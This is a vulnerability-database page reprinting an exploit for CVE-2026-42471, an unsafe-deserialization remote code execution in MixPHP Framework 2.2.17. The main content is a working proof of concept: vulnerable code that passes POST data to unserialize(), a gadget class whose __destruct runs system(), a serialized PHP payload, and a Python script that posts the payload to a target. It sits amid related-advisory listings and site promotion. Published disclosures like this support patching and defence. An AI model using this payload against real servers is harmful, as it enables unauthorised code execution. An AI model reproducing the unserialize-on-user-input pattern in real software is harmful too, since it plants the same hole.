Lucene search
K

📄 MixPHP Framework 2.2.17 Deserialization / Arbitrary Code Execution

🗓️ 29 May 2026 00:00:00Reported by cardosourceType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 41 Views

MixPHP Framework 2.2.17 allows remote code execution via unsafe deserialization using a gadget in __destruct.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-42471
1 May 202600:00
attackerkb
Circl
CVE-2026-42471
30 Apr 202608:49
circl
CNNVD
Mix PHP 代码问题漏洞
1 May 202600:00
cnnvd
CVE
CVE-2026-42471
1 May 202600:00
cve
Cvelist
CVE-2026-42471
1 May 202600:00
cvelist
Exploit DB
MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution
29 May 202600:00
exploitdb
EUVD
EUVD-2026-26672
1 May 202600:00
euvd
NVD
CVE-2026-42471
1 May 202616:16
nvd
Positive Technologies
PT-2026-36488
1 May 202600:00
ptsecurity
RedhatCVE
CVE-2026-42471
5 Jun 202619:46
redhatcve
Rows per page
# Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution
    # Date: 2026-05-14
    # Exploit Author: cardosource
    # Vendor Homepage: https://github.com/mix-php/mix
    # Software Link: https://github.com/mix-php/mix
    # Version: 2.x through 2.2.17
    # Tested on: Ubuntu 26.04 LTS / PHP 8.3.6
    # CVE: CVE-2026-42471
    """
    PHP applications that pass user-controlled input directly into
    unserialize() may be vulnerable to arbitrary code execution when
    attacker-controlled gadget chains are available.
    
    The following proof of concept demonstrates exploitation through
    a reachable __destruct() magic method.
    
    Vulnerable Code
    ===============
    
    $payload = $_POST["data"] ?? "";
    unserialize($payload);
    
    Gadget
    ======
    
    class A {
        public $c = 'id>/tmp/p';
    
        public function __destruct() {
            system($this->c);
        }
    }
    
    Lab Setup
    =========
    
    
    php -S 0.0.0.0:8000
    
    python3 php_deserialization_rce.py
    
    """
    
    import requests
    
    target = "http://127.0.0.1:8000/index.php"
    
    payload = 'O:1:"A":1:{s:1:"c";s:9:"id>/tmp/p";}'
    
    r = requests.post(target, data={"data": payload})
    
    print(r.text)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.18.1
EPSS0.01247
SSVC
41